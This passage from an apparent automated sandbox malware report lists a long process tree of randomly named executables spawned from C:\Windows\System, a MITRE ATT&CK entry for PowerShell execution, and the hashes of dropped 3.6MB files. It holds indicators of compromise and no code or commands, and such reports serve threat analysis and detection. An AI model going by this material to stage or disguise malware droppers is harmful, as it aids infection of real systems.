  C:\Windows\System\bWuqUGt.exe
  2⤵
  PID:8268
- C:\Windows\System\qjuOYAo.exe
  C:\Windows\System\qjuOYAo.exe
  2⤵
  PID:8284
- C:\Windows\System\OQqIGNx.exe
  C:\Windows\System\OQqIGNx.exe
  2⤵
  PID:8304
- C:\Windows\System\PZYwIod.exe
  C:\Windows\System\PZYwIod.exe
  2⤵
  PID:8320
- C:\Windows\System\noNIYJw.exe
  C:\Windows\System\noNIYJw.exe
  2⤵
  PID:8336
- C:\Windows\System\QECtrWs.exe
  C:\Windows\System\QECtrWs.exe
  2⤵
  PID:8356
- C:\Windows\System\WDBZMuU.exe
  C:\Windows\System\WDBZMuU.exe
  2⤵
  PID:8376
- C:\Windows\System\ldxVRQZ.exe
  C:\Windows\System\ldxVRQZ.exe
  2⤵
  PID:8396
- C:\Windows\System\UBAUvDB.exe
  C:\Windows\System\UBAUvDB.exe
  2⤵
  PID:8412
- C:\Windows\System\RsccpJe.exe
  C:\Windows\System\RsccpJe.exe
  2⤵
  PID:8428
- C:\Windows\System\XNmuUyw.exe
  C:\Windows\System\XNmuUyw.exe
  2⤵
  PID:8448
- C:\Windows\System\ZXQMoLP.exe
  C:\Windows\System\ZXQMoLP.exe
  2⤵
  PID:8468
- C:\Windows\System\XHvPsYI.exe
  C:\Windows\System\XHvPsYI.exe
  2⤵
  PID:8488
- C:\Windows\System\MyvqAnp.exe
  C:\Windows\System\MyvqAnp.exe
  2⤵
  PID:8504
- C:\Windows\System\hgfpBrV.exe
  C:\Windows\System\hgfpBrV.exe
  2⤵
  PID:8520
- C:\Windows\System\IsXtSkS.exe
  C:\Windows\System\IsXtSkS.exe
  2⤵
  PID:8536
- C:\Windows\System\KsiUMGX.exe
  C:\Windows\System\KsiUMGX.exe
  2⤵
  PID:8560
- C:\Windows\System\TraQYQs.exe
  C:\Windows\System\TraQYQs.exe
  2⤵
  PID:8580
- C:\Windows\System\oZflgEY.exe
  C:\Windows\System\oZflgEY.exe
  2⤵
  PID:8596
- C:\Windows\System\tNCUPsF.exe
  C:\Windows\System\tNCUPsF.exe
  2⤵
  PID:8616
- C:\Windows\System\DrmnoDP.exe
  C:\Windows\System\DrmnoDP.exe
  2⤵
  PID:8632
- C:\Windows\System\ylIMDyH.exe
  C:\Windows\System\ylIMDyH.exe
  2⤵
  PID:8648
- C:\Windows\System\QDmyYDu.exe
  C:\Windows\System\QDmyYDu.exe
  2⤵
  PID:8664
- C:\Windows\System\zvkrxUw.exe
  C:\Windows\System\zvkrxUw.exe
  2⤵
  PID:8680
- C:\Windows\System\pofOfOg.exe
  C:\Windows\System\pofOfOg.exe
  2⤵
  PID:8704
- C:\Windows\System\cAegboZ.exe
  C:\Windows\System\cAegboZ.exe
  2⤵
  PID:8720
- C:\Windows\System\nutDdxv.exe
  C:\Windows\System\nutDdxv.exe
  2⤵
  PID:8744
- C:\Windows\System\mctRQOl.exe
  C:\Windows\System\mctRQOl.exe
  2⤵
  PID:8760
- C:\Windows\System\fNoCASu.exe
  C:\Windows\System\fNoCASu.exe
  2⤵
  PID:8784
- C:\Windows\System\NTXoqGV.exe
  C:\Windows\System\NTXoqGV.exe
  2⤵
  PID:8800
- C:\Windows\System\QHHZJrO.exe
  C:\Windows\System\QHHZJrO.exe
  2⤵
  PID:8816
- C:\Windows\System\MhApTvr.exe
  C:\Windows\System\MhApTvr.exe
  2⤵
  PID:8836
- C:\Windows\System\TMWfgRu.exe
  C:\Windows\System\TMWfgRu.exe
  2⤵
  PID:8860
- C:\Windows\System\nsgiSrc.exe
  C:\Windows\System\nsgiSrc.exe
  2⤵
  PID:8876
- C:\Windows\System\ZlZbRpw.exe
  C:\Windows\System\ZlZbRpw.exe
  2⤵
  PID:8892
- C:\Windows\System\EcILyLl.exe
  C:\Windows\System\EcILyLl.exe
  2⤵
  PID:8916
- C:\Windows\System\VsiGKHa.exe
  C:\Windows\System\VsiGKHa.exe
  2⤵
  PID:8940
- C:\Windows\System\xWRIJiS.exe
  C:\Windows\System\xWRIJiS.exe
  2⤵
  PID:8960
- C:\Windows\System\qYsOiHw.exe
  C:\Windows\System\qYsOiHw.exe
  2⤵
  PID:8976
- C:\Windows\System\IcNZCdN.exe
  C:\Windows\System\IcNZCdN.exe
  2⤵
  PID:8996
- C:\Windows\System\HhLdBWV.exe
  C:\Windows\System\HhLdBWV.exe
  2⤵
  PID:9012
- C:\Windows\System\UCybpTs.exe
  C:\Windows\System\UCybpTs.exe
  2⤵
  PID:9032
- C:\Windows\System\omeKHsQ.exe
  C:\Windows\System\omeKHsQ.exe
  2⤵
  PID:9052
- C:\Windows\System\bsfMtRp.exe
  C:\Windows\System\bsfMtRp.exe
  2⤵
  PID:9084
- C:\Windows\System\xdmsPgF.exe
  C:\Windows\System\xdmsPgF.exe
  2⤵
  PID:9104
- C:\Windows\System\YjHwaXz.exe
  C:\Windows\System\YjHwaXz.exe
  2⤵
  PID:9124
- C:\Windows\System\yhQKacQ.exe
  C:\Windows\System\yhQKacQ.exe
  2⤵
  PID:9140
- C:\Windows\System\MEGFbYO.exe
  C:\Windows\System\MEGFbYO.exe
  2⤵
  PID:9160
- C:\Windows\System\XsSzfLe.exe
  C:\Windows\System\XsSzfLe.exe
  2⤵
  PID:9176
- C:\Windows\System\dfuHcoM.exe
  C:\Windows\System\dfuHcoM.exe
  2⤵
  PID:9196
- C:\Windows\System\hMuQOJZ.exe
  C:\Windows\System\hMuQOJZ.exe
  2⤵
  PID:7976
- C:\Windows\System\sBSAovL.exe
  C:\Windows\System\sBSAovL.exe
  2⤵
  PID:8252
- C:\Windows\System\OBZMhaW.exe
  C:\Windows\System\OBZMhaW.exe
  2⤵
  PID:7420
- C:\Windows\System\MxLmyXy.exe
  C:\Windows\System\MxLmyXy.exe
  2⤵
  PID:8332
- C:\Windows\System\ZjTkyQf.exe
  C:\Windows\System\ZjTkyQf.exe
  2⤵
  PID:8368
- C:\Windows\System\oSFLznL.exe
  C:\Windows\System\oSFLznL.exe
  2⤵
  PID:8476
- C:\Windows\System\iHbAEDH.exe
  C:\Windows\System\iHbAEDH.exe
  2⤵
  PID:8548
- C:\Windows\System\cWLhtyn.exe
  C:\Windows\System\cWLhtyn.exe
  2⤵
  PID:8552
- C:\Windows\System\mHmuXWF.exe
  C:\Windows\System\mHmuXWF.exe
  2⤵
  PID:8628
- C:\Windows\System\lXfXTLw.exe
  C:\Windows\System\lXfXTLw.exe
  2⤵
  PID:8736
- C:\Windows\System\WSUsAFb.exe
  C:\Windows\System\WSUsAFb.exe
  2⤵
  PID:8776
- C:\Windows\System\VDJYFVb.exe
  C:\Windows\System\VDJYFVb.exe
  2⤵
  PID:7172
- C:\Windows\System\PYmYZMF.exe
  C:\Windows\System\PYmYZMF.exe
  2⤵
  PID:8856
- C:\Windows\System\yIxBzGc.exe
  C:\Windows\System\yIxBzGc.exe
  2⤵
  PID:8196
- C:\Windows\System\RawLYGG.exe
  C:\Windows\System\RawLYGG.exe
  2⤵
  PID:9100
- C:\Windows\System\RvqVBNN.exe
  C:\Windows\System\RvqVBNN.exe
  2⤵
  PID:9136
- C:\Windows\System\FWkYaHI.exe
  C:\Windows\System\FWkYaHI.exe
  2⤵
  PID:8344
- C:\Windows\System\cJbyxmZ.exe
  C:\Windows\System\cJbyxmZ.exe
  2⤵
  PID:8312
- C:\Windows\System\hXSdfHU.exe
  C:\Windows\System\hXSdfHU.exe
  2⤵
  PID:8528
- C:\Windows\System\XiIxcas.exe
  C:\Windows\System\XiIxcas.exe
  2⤵
  PID:8608
- C:\Windows\System\EdiLdgU.exe
  C:\Windows\System\EdiLdgU.exe
  2⤵
  PID:8712
- C:\Windows\System\uZHppyr.exe
  C:\Windows\System\uZHppyr.exe
  2⤵
  PID:8752
- C:\Windows\System\LCfPQkC.exe
  C:\Windows\System\LCfPQkC.exe
  2⤵
  PID:8908
- C:\Windows\System\AqizPWL.exe
  C:\Windows\System\AqizPWL.exe
  2⤵
  PID:8956
- C:\Windows\System\OcHkNgl.exe
  C:\Windows\System\OcHkNgl.exe
  2⤵
  PID:9064
- C:\Windows\System\XFTCJLt.exe
  C:\Windows\System\XFTCJLt.exe
  2⤵
  PID:9112
- C:\Windows\System\RJqqoBQ.exe
  C:\Windows\System\RJqqoBQ.exe
  2⤵
  PID:9120
- C:\Windows\System\JrIUbaa.exe
  C:\Windows\System\JrIUbaa.exe
  2⤵
  PID:9172
- C:\Windows\System\QQGrWWl.exe
  C:\Windows\System\QQGrWWl.exe
  2⤵
  PID:8260
- C:\Windows\System\cANERla.exe
  C:\Windows\System\cANERla.exe
  2⤵
  PID:9188
- C:\Windows\System\cDtXasC.exe
  C:\Windows\System\cDtXasC.exe
  2⤵
  PID:8296
- C:\Windows\System\LigIwJr.exe
  C:\Windows\System\LigIwJr.exe
  2⤵
  PID:8440
- C:\Windows\System\GVrAcWt.exe
  C:\Windows\System\GVrAcWt.exe
  2⤵
  PID:8728
- C:\Windows\System\FWDhPFz.exe
  C:\Windows\System\FWDhPFz.exe
  2⤵
  PID:8544
- C:\Windows\System\ewQZGxh.exe
  C:\Windows\System\ewQZGxh.exe
  2⤵
  PID:8732
- C:\Windows\System\FOTexAk.exe
  C:\Windows\System\FOTexAk.exe
  2⤵
  PID:8848
- C:\Windows\System\AXvwvyn.exe
  C:\Windows\System\AXvwvyn.exe
  2⤵
  PID:8316
- C:\Windows\System\NddaKNW.exe
  C:\Windows\System\NddaKNW.exe
  2⤵
  PID:8924
- C:\Windows\System\vXCiVAl.exe
  C:\Windows\System\vXCiVAl.exe
  2⤵
  PID:9004
- C:\Windows\System\JxiNUfU.exe
  C:\Windows\System\JxiNUfU.exe
  2⤵
  PID:9132
- C:\Windows\System\GCmVCrP.exe
  C:\Windows\System\GCmVCrP.exe
  2⤵
  PID:8900
- C:\Windows\System\dCRdDJo.exe
  C:\Windows\System\dCRdDJo.exe
  2⤵
  PID:8276
- C:\Windows\System\CwLZRun.exe
  C:\Windows\System\CwLZRun.exe
  2⤵
  PID:8500
- C:\Windows\System\NORFIFg.exe
  C:\Windows\System\NORFIFg.exe
  2⤵
  PID:8676
- C:\Windows\System\xaUtiwE.exe
  C:\Windows\System\xaUtiwE.exe
  2⤵
  PID:9116
- C:\Windows\System\gChfaDX.exe
  C:\Windows\System\gChfaDX.exe
  2⤵
  PID:9020
- C:\Windows\System\JZMBejc.exe
  C:\Windows\System\JZMBejc.exe
  2⤵
  PID:9024
- C:\Windows\System\XwBIGXL.exe
  C:\Windows\System\XwBIGXL.exe
  2⤵
  PID:9072
- C:\Windows\System\bPgotUh.exe
  C:\Windows\System\bPgotUh.exe
  2⤵
  PID:8220
- C:\Windows\System\MLNRruT.exe
  C:\Windows\System\MLNRruT.exe
  2⤵
  PID:7992
- C:\Windows\System\gNYSsUE.exe
  C:\Windows\System\gNYSsUE.exe
  2⤵
  PID:8660
- C:\Windows\System\ppXfXsa.exe
  C:\Windows\System\ppXfXsa.exe
  2⤵
  PID:8884
- C:\Windows\System\KYIbltw.exe
  C:\Windows\System\KYIbltw.exe
  2⤵
  PID:8972
- C:\Windows\System\RdpNeES.exe
  C:\Windows\System\RdpNeES.exe
  2⤵
  PID:8352
- C:\Windows\System\YqPwSbM.exe
  C:\Windows\System\YqPwSbM.exe
  2⤵
  PID:8604
- C:\Windows\System\eUKnfJU.exe
  C:\Windows\System\eUKnfJU.exe
  2⤵
  PID:8768
- C:\Windows\System\rafddwl.exe
  C:\Windows\System\rafddwl.exe
  2⤵
  PID:8436
- C:\Windows\System\KsuTwEH.exe
  C:\Windows\System\KsuTwEH.exe
  2⤵
  PID:8300
- C:\Windows\System\PQPJnGF.exe
  C:\Windows\System\PQPJnGF.exe
  2⤵
  PID:8888
- C:\Windows\System\wMRiZzJ.exe
  C:\Windows\System\wMRiZzJ.exe
  2⤵
  PID:9092
- C:\Windows\System\EheVwho.exe
  C:\Windows\System\EheVwho.exe
  2⤵
  PID:8912
- C:\Windows\System\RakTMVv.exe
  C:\Windows\System\RakTMVv.exe
  2⤵
  PID:9076
- C:\Windows\System\CpAciPt.exe
  C:\Windows\System\CpAciPt.exe
  2⤵
  PID:8372
- C:\Windows\System\oYMeHhJ.exe
  C:\Windows\System\oYMeHhJ.exe
  2⤵
  PID:8796
- C:\Windows\System\CnDAlPI.exe
  C:\Windows\System\CnDAlPI.exe
  2⤵
  PID:8832
- C:\Windows\System\nhltDaL.exe
  C:\Windows\System\nhltDaL.exe
  2⤵
  PID:9044
- C:\Windows\System\TRfBJwF.exe
  C:\Windows\System\TRfBJwF.exe
  2⤵
  PID:8444
- C:\Windows\System\xsxCiAs.exe
  C:\Windows\System\xsxCiAs.exe
  2⤵
  PID:8952
- C:\Windows\System\zauykal.exe
  C:\Windows\System\zauykal.exe
  2⤵
  PID:8592
- C:\Windows\System\qkpPpSF.exe
  C:\Windows\System\qkpPpSF.exe
  2⤵
  PID:8672
- C:\Windows\System\MSfHyta.exe
  C:\Windows\System\MSfHyta.exe
  2⤵
  PID:9048
- C:\Windows\System\ZYpnDSi.exe
  C:\Windows\System\ZYpnDSi.exe
  2⤵
  PID:8424
- C:\Windows\System\mFetKaN.exe
  C:\Windows\System\mFetKaN.exe
  2⤵
  PID:8404
- C:\Windows\System\GvHpcUE.exe
  C:\Windows\System\GvHpcUE.exe
  2⤵
  PID:8812
- C:\Windows\System\RCVEOnH.exe
  C:\Windows\System\RCVEOnH.exe
  2⤵
  PID:9232
- C:\Windows\System\POBWnww.exe
  C:\Windows\System\POBWnww.exe
  2⤵
  PID:9248
- C:\Windows\System\UothPLf.exe
  C:\Windows\System\UothPLf.exe
  2⤵
  PID:9264
- C:\Windows\System\kraFFJh.exe
  C:\Windows\System\kraFFJh.exe
  2⤵
  PID:9280
- C:\Windows\System\UdNHLbd.exe
  C:\Windows\System\UdNHLbd.exe
  2⤵
  PID:9308
- C:\Windows\System\HBbqpki.exe
  C:\Windows\System\HBbqpki.exe
  2⤵
  PID:9324
- C:\Windows\System\GIxFSjo.exe
  C:\Windows\System\GIxFSjo.exe
  2⤵
  PID:9352
- C:\Windows\System\QclUpFx.exe
  C:\Windows\System\QclUpFx.exe
  2⤵
  PID:9368
- C:\Windows\System\iLPIooP.exe
  C:\Windows\System\iLPIooP.exe
  2⤵
  PID:9388
- C:\Windows\System\vCOCvvh.exe
  C:\Windows\System\vCOCvvh.exe
  2⤵
  PID:9404
- C:\Windows\System\GsDbbNC.exe
  C:\Windows\System\GsDbbNC.exe
  2⤵
  PID:9420
- C:\Windows\System\rzJOOWD.exe
  C:\Windows\System\rzJOOWD.exe
  2⤵
  PID:9436
- C:\Windows\System\eelOptj.exe
  C:\Windows\System\eelOptj.exe
  2⤵
  PID:9452
- C:\Windows\System\elYAOxn.exe
  C:\Windows\System\elYAOxn.exe
  2⤵
  PID:9488
- C:\Windows\System\bBsKJDq.exe
  C:\Windows\System\bBsKJDq.exe
  2⤵
  PID:9504
- C:\Windows\System\XbCAWMb.exe
  C:\Windows\System\XbCAWMb.exe
  2⤵
  PID:9528
- C:\Windows\System\OYNPNsn.exe
  C:\Windows\System\OYNPNsn.exe
  2⤵
  PID:9544
- C:\Windows\System\MlbjBzO.exe
  C:\Windows\System\MlbjBzO.exe
  2⤵
  PID:9564
- C:\Windows\System\qgSMNoM.exe
  C:\Windows\System\qgSMNoM.exe
  2⤵
  PID:9584
- C:\Windows\System\EWvNRVF.exe
  C:\Windows\System\EWvNRVF.exe
  2⤵
  PID:9604
- C:\Windows\System\ZyfyPEJ.exe
  C:\Windows\System\ZyfyPEJ.exe
  2⤵
  PID:9628
- C:\Windows\System\XamFNeR.exe
  C:\Windows\System\XamFNeR.exe
  2⤵
  PID:9644
- C:\Windows\System\NfOHvsv.exe
  C:\Windows\System\NfOHvsv.exe
  2⤵
  PID:9672
- C:\Windows\System\flneiQp.exe
  C:\Windows\System\flneiQp.exe
  2⤵
  PID:9708
- C:\Windows\System\JPKoxXy.exe
  C:\Windows\System\JPKoxXy.exe
  2⤵
  PID:9736
- C:\Windows\System\fqxJHbV.exe
  C:\Windows\System\fqxJHbV.exe
  2⤵
  PID:9756
- C:\Windows\System\UgqZYMC.exe
  C:\Windows\System\UgqZYMC.exe
  2⤵
  PID:9772
- C:\Windows\System\THULJSj.exe
  C:\Windows\System\THULJSj.exe
  2⤵
  PID:9788
- C:\Windows\System\rWLxPWC.exe
  C:\Windows\System\rWLxPWC.exe
  2⤵
  PID:9816
- C:\Windows\System\mLjfWgH.exe
  C:\Windows\System\mLjfWgH.exe
  2⤵
  PID:9836
- C:\Windows\System\SKdLWqP.exe
  C:\Windows\System\SKdLWqP.exe
  2⤵
  PID:9856
- C:\Windows\System\WXkJyZT.exe
  C:\Windows\System\WXkJyZT.exe
  2⤵
  PID:9872
- C:\Windows\System\AxCWLKv.exe
  C:\Windows\System\AxCWLKv.exe
  2⤵
  PID:9892
- C:\Windows\System\NDuLaIX.exe
  C:\Windows\System\NDuLaIX.exe
  2⤵
  PID:9908
- C:\Windows\System\rKhUwQa.exe
  C:\Windows\System\rKhUwQa.exe
  2⤵
  PID:9932
- C:\Windows\System\MLeCjNG.exe
  C:\Windows\System\MLeCjNG.exe
  2⤵
  PID:9948
- C:\Windows\System\lVAgfDH.exe
  C:\Windows\System\lVAgfDH.exe
  2⤵
  PID:9972
- C:\Windows\System\bIycsyJ.exe
  C:\Windows\System\bIycsyJ.exe
  2⤵
  PID:9988
- C:\Windows\System\GkXIpYD.exe
  C:\Windows\System\GkXIpYD.exe
  2⤵
  PID:10016
- C:\Windows\System\uGYrrSK.exe
  C:\Windows\System\uGYrrSK.exe
  2⤵
  PID:10032
- C:\Windows\System\zMRwzRs.exe
  C:\Windows\System\zMRwzRs.exe
  2⤵
  PID:10048
- C:\Windows\System\xjASZTj.exe
  C:\Windows\System\xjASZTj.exe
  2⤵
  PID:10064
- C:\Windows\System\ytueqlg.exe
  C:\Windows\System\ytueqlg.exe
  2⤵
  PID:10088
- C:\Windows\System\Wjacwea.exe
  C:\Windows\System\Wjacwea.exe
  2⤵
  PID:10116
- C:\Windows\System\yZyfuZz.exe
  C:\Windows\System\yZyfuZz.exe
  2⤵
  PID:10136
- C:\Windows\System\Qnbtbqv.exe
  C:\Windows\System\Qnbtbqv.exe
  2⤵
  PID:10152
- C:\Windows\System\RJfBHpu.exe
  C:\Windows\System\RJfBHpu.exe
  2⤵
  PID:10172
- C:\Windows\System\WbPXzsa.exe
  C:\Windows\System\WbPXzsa.exe
  2⤵
  PID:10188
- C:\Windows\System\MfBjavf.exe
  C:\Windows\System\MfBjavf.exe
  2⤵
  PID:10212
- C:\Windows\System\ZJehYQp.exe
  C:\Windows\System\ZJehYQp.exe
  2⤵
  PID:10228
- C:\Windows\System\quPvwRZ.exe
  C:\Windows\System\quPvwRZ.exe
  2⤵
  PID:9260
- C:\Windows\System\rWvizEj.exe
  C:\Windows\System\rWvizEj.exe
  2⤵
  PID:9292
- C:\Windows\System\jNJpaFh.exe
  C:\Windows\System\jNJpaFh.exe
  2⤵
  PID:9304
- C:\Windows\System\aHyLXMA.exe
  C:\Windows\System\aHyLXMA.exe
  2⤵
  PID:9336
- C:\Windows\System\oBHjwWw.exe
  C:\Windows\System\oBHjwWw.exe
  2⤵
  PID:9380
- C:\Windows\System\ElqWuBw.exe
  C:\Windows\System\ElqWuBw.exe
  2⤵
  PID:9444
- C:\Windows\System\gGWrXRr.exe
  C:\Windows\System\gGWrXRr.exe
  2⤵
  PID:9432
- C:\Windows\System\zGGDeJW.exe
  C:\Windows\System\zGGDeJW.exe
  2⤵
  PID:9364
- C:\Windows\System\whIpHQK.exe
  C:\Windows\System\whIpHQK.exe
  2⤵
  PID:9572
- C:\Windows\System\QfCaIkh.exe
  C:\Windows\System\QfCaIkh.exe
  2⤵
  PID:9484
- C:\Windows\System\DwOETUd.exe
  C:\Windows\System\DwOETUd.exe
  2⤵
  PID:9624
- C:\Windows\System\uGIyiRn.exe
  C:\Windows\System\uGIyiRn.exe
  2⤵
  PID:9320
- C:\Windows\System\muwNIsi.exe
  C:\Windows\System\muwNIsi.exe
  2⤵
  PID:8936
- C:\Windows\System\MmBaFiL.exe
  C:\Windows\System\MmBaFiL.exe
  2⤵
  PID:9520
- C:\Windows\System\roDeBYC.exe
  C:\Windows\System\roDeBYC.exe
  2⤵
  PID:9596
- C:\Windows\System\vLnUEtx.exe
  C:\Windows\System\vLnUEtx.exe
  2⤵
  PID:9680
- C:\Windows\System\NsNtmsA.exe
  C:\Windows\System\NsNtmsA.exe
  2⤵
  PID:9700
- C:\Windows\System\mbsMsLF.exe
  C:\Windows\System\mbsMsLF.exe
  2⤵
  PID:9732
- C:\Windows\System\MfZAWVf.exe
  C:\Windows\System\MfZAWVf.exe
  2⤵
  PID:9768
- C:\Windows\System\xwJCpLV.exe
  C:\Windows\System\xwJCpLV.exe
  2⤵
  PID:9784
- C:\Windows\System\skFpGjA.exe
  C:\Windows\System\skFpGjA.exe
  2⤵
  PID:9848
- C:\Windows\System\cRmKdGC.exe
  C:\Windows\System\cRmKdGC.exe
  2⤵
  PID:9868
- C:\Windows\System\nsyhuAU.exe
  C:\Windows\System\nsyhuAU.exe
  2⤵
  PID:9916
- C:\Windows\System\EuVLLMi.exe
  C:\Windows\System\EuVLLMi.exe
  2⤵
  PID:9960
- C:\Windows\System\DAVZrRi.exe
  C:\Windows\System\DAVZrRi.exe
  2⤵
  PID:9996
- C:\Windows\System\QFcetmu.exe
  C:\Windows\System\QFcetmu.exe
  2⤵
  PID:9940
- C:\Windows\System\MFJtNco.exe
  C:\Windows\System\MFJtNco.exe
  2⤵
  PID:10040
- C:\Windows\System\bsvnmMB.exe
  C:\Windows\System\bsvnmMB.exe
  2⤵
  PID:10024
- C:\Windows\System\dKDsVfN.exe
  C:\Windows\System\dKDsVfN.exe
  2⤵
  PID:10160
- C:\Windows\System\MrWKLnu.exe
  C:\Windows\System\MrWKLnu.exe
  2⤵
  PID:10204
- C:\Windows\System\nZZvYTh.exe
  C:\Windows\System\nZZvYTh.exe
  2⤵
  PID:9300
- C:\Windows\System\INBRAgs.exe
  C:\Windows\System\INBRAgs.exe
  2⤵
  PID:9400
- C:\Windows\System\sGSfiOZ.exe
  C:\Windows\System\sGSfiOZ.exe
  2⤵
  PID:10104
- C:\Windows\System\XkDcPIG.exe
  C:\Windows\System\XkDcPIG.exe
  2⤵
  PID:8640
- C:\Windows\System\PQHgsAd.exe
  C:\Windows\System\PQHgsAd.exe
  2⤵
  PID:9592
- C:\Windows\System\HzJlYtR.exe
  C:\Windows\System\HzJlYtR.exe
  2⤵
  PID:10108
- C:\Windows\System\OUzDtAB.exe
  C:\Windows\System\OUzDtAB.exe
  2⤵
  PID:8828
- C:\Windows\System\ucKfRYU.exe
  C:\Windows\System\ucKfRYU.exe
  2⤵
  PID:8716
- C:\Windows\System\sayuGIV.exe
  C:\Windows\System\sayuGIV.exe
  2⤵
  PID:9744
- C:\Windows\System\eWFMQrY.exe
  C:\Windows\System\eWFMQrY.exe
  2⤵
  PID:9396
- C:\Windows\System\HytzKhB.exe
  C:\Windows\System\HytzKhB.exe
  2⤵
  PID:996

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\system\AKhWZFm.exe

Filesize
3.6MB

MD5
e2341c552296a05c54c38fb5e4089a32

SHA1
710bb16f10f413de0abf7f60bda16881d8d6f16a

SHA256
af8b97725a2e5e603c84ef6028129f87dcdb1ef5002a25fb61696ffd1864cab6

SHA512
1bf190f6e3c7e87708e34ac86523936d4b7788da7e9940ade44a7ab4be9a83a5e89b8a96087dec5d74439aad9e8fc4cc7d742e03795ac827d7250ff0c9fc4017

Download Submit
C:\Windows\system\CMbuBce.exe

Filesize
3.6MB

MD5
39febe48be8e59d4cc9bd04b43e7538d

SHA1
d0d94d504a018df5181842c332376456fde6a84c

SHA256
8e0a3f09f8aa4a30c6752ec8a3963b8904f4ce4433ae49f97bf78376703a0a6f

SHA512
e0a360673ddc52b435fe5c4e9f53be743ce8cbffd336cb3961258967df574e8ffdd34a122d45290f1e1b392672da14346169a29e4684912df440ff32cae0fb5e

Download Submit
C:\Windows\system\CoNmTlJ.exe

Filesize
3.6MB

MD5
7f5542bc9f91d72332a777115f7d2b85

SHA1
25ecde1abf682bdaaa06009f496bb8d8ccb850aa

SHA256
1fc0247db99b6c5cce082d24737092f95f73b5d2d76380fa68ab6c0379c1a9c7

SHA512
5873c6a4b55b0dc938648c8291357f271eab31a6be9c3254b2d9977501bb5c8328f6265430bf697833b820dc4b366a0e80b0af34ceabcf3ce2a570f6b35ddcdd

Download Submit
C:\Windows\system\GvUAVbg.exe

Filesize
3.6MB

MD5
b51d025784fb889b784a8521f96f0d68

SHA1
08000c59feee6a6f1e2e43cab4d430e28d09d737

SHA256
4b07ecf22ca30bad11295a1ddc52815dbaa538591e77e5100e414bd82c80dc12

SHA512
05b4d044982e76f2684f97ee5fb402033ce5767487befff549cad8d70a9fa36f4b8941909472afd9945069c1b357b3f910aef847e726124dca9cc181eb291864

Download Submit
C:\Windows\system\Jmpkodc.exe

Filesize
3.6MB

MD5
cfb8e3b0456427dff682202f9e63ccd0

SHA1
10cafd3b853247544e1d81d1d396574a3e79a927

SHA256
5e8f6b0f9473332ee66729670501720aebcb503fcf26572073d43949bff2a7c4

SHA512
64e4444df6275303b3ee39cf673248ff2d68a810a777ae705bcdd3d8b4cc257008dbdca4e4263fa46594f80d13bd9552a171b90629ea6cf6c47727251f92c7a5

Download Submit
C:\Windows\system\LlakbFt.exe

Filesize
3.6MB

MD5
f0fa567a6cb55864eed3f90206f8517e

SHA1
d80d27aedf597ffdacb321ce6233f95384be06ab

SHA256
9016653d2e2e96780dc6d5c2ebec5c4592535fa6402acb13e3c5c8942d944479

SHA512
6ce5a36f1545a4c825d739995915b520f1620ce54e60bbeb49b1acc3702ae2059f9249cdc4fc5b9c878dc26b35b1e487de28868dcc26e45c8fdf229a9f3296ea

Download Submit
C:\Windows\system\NClRghU.exe

Filesize
3.6MB

MD5
258e1fb6b444067567d1ee0ff8151580

SHA1
e4fe900eb0a166091c28169fcac576c473090687

SHA256
4588ccad211be9a027775242a41760650d280e6daf3ef5c7cc4ee16ec7dd1926

SHA512
ac8acbeca39f4fd2c148ce6cb4919cadf1a0334760cc52488ccfc54bcce4ba869a001c49ac61a7ce64e811d1d4d547f03f887a9c9f4ba82864fbd05661246cf3

Download Submit
C:\Windows\system\NcvXgFS.exe

Filesize
3.6MB

MD5
3429e944241a918324cc1eda6d9a4ed5

SHA1
7ef21f07e1965bafbc371fdb7dd880ed158de7a3

SHA256
319555441e9eb7c90528982dd3da0420862ae1b906c099c9ff2c6601569f7c5a

SHA512
9680f088d384f047fb87e03b1a871c50c80b3149d6c4c750a45788b7ab776aa48a4f7ecf173e71af4539ce78f561b10bb52a581ab703e47828255fc26cc34080

Download Submit
C:\Windows\system\OHLJkgH.exe

Filesize
3.6MB

MD5
209f6586f1958054a78f1385720cfcef

SHA1
f0b6d31062a8264a631e2e0d02c3c9b79f9d5a8f

SHA256
a01ffd6bd83383518a14ebeb863c3ad1fabb5d092ea0d1869eb09da66d30f827

SHA512
64a5a66d58981b09632505a28db4ba42ee4e451470347ece5b5fb453fd50ad9215f76b0c885dc8cc865ee8e24fe28d16d7ef42000b64600576e9a15f2d414779

Download Submit
C:\Windows\system\Otjfvdt.exe

Filesize
3.6MB

MD5
0209c9f82e0870a03feb56f738600074

SHA1
9d433c478e1cc6a36cb53b3ab401712031adb167

SHA256
d27158eca80ddb95539bb50ae92534d261e610325ea5e3a60631fd408e7f17c9

SHA512
4ad9b4739ed6518bbfe38651a9e178c8d68d2350301f131b9a55c0996cad17e5f5b7ef8efb52b63d07187a16ba99bbf792d1e18041e1df8b06f4494c41188bbe

Download Submit
C:\Windows\system\RZNgqTs.exe

Filesize
3.6MB

MD5
9c68da7c011c33957b2f74b8435a604f

SHA1
8b02560bc4373814f1ace8b24109cfe27414fa3a

SHA256
3a3105a3fa869e229a19800c6aeee9cfe33b0d362fc34a7016808100e217d999

SHA512
392ff62ecc0bdcf2dfc497e7c71f4d4cd0803c7452d1e4aa72c392546aeff71766cf68384c4de7e5cb605c6c4e93e1dbaec4b11dd6085d44d9db01b117a22f15

Download Submit
C:\Windows\system\VKPOKWM.exe

Filesize
3.6MB

MD5
ef58f1882bf48a6a5c5098ed77d5c653

SHA1
44ba770faaadddc31c0dc7e226cb4cfcc5a2e764

SHA256
d2b09ebadb9e5a2e80fce0109e2134f0e5397fc5c9a5fb1d853c3ba44765cfcd

SHA512
a12ede0c64b23b09e3dc43f2527163fc27c7113fa88a69efb4cbf9aef85e92644a4e8dbf548532febeaf83fda6f4588c219b873af771874fe2c1ec909d21053c

Download Submit
C:\Windows\system\YvMwReT.exe

Filesize
3.6MB

MD5
6c42f305bbfa339721f30aa1248c77c0

SHA1
7e9f685cf96d75bdc2ca69cdfe6d5552fd216257

SHA256
979b66387c838739c8457f6fe010864d05e2f5ab13fd2c410afda0e264494a66

SHA512
fddac23f20523ecf26b03e9f0d4095687c9a2f33c2b3bf8650ae93b189af182fbecfc6833e699ec061d545c729386ffbe3ef64f091ee25cd81833630b1b2ebe1

Download Submit
C:\Windows\system\crAuEgi.exe

Filesize
3.6MB

MD5
22fad17c44f6f076a529df51dd7b50b1

SHA1
94a91fd6e44bbc41b8c57896e5a30ad84ecc9193

SHA256
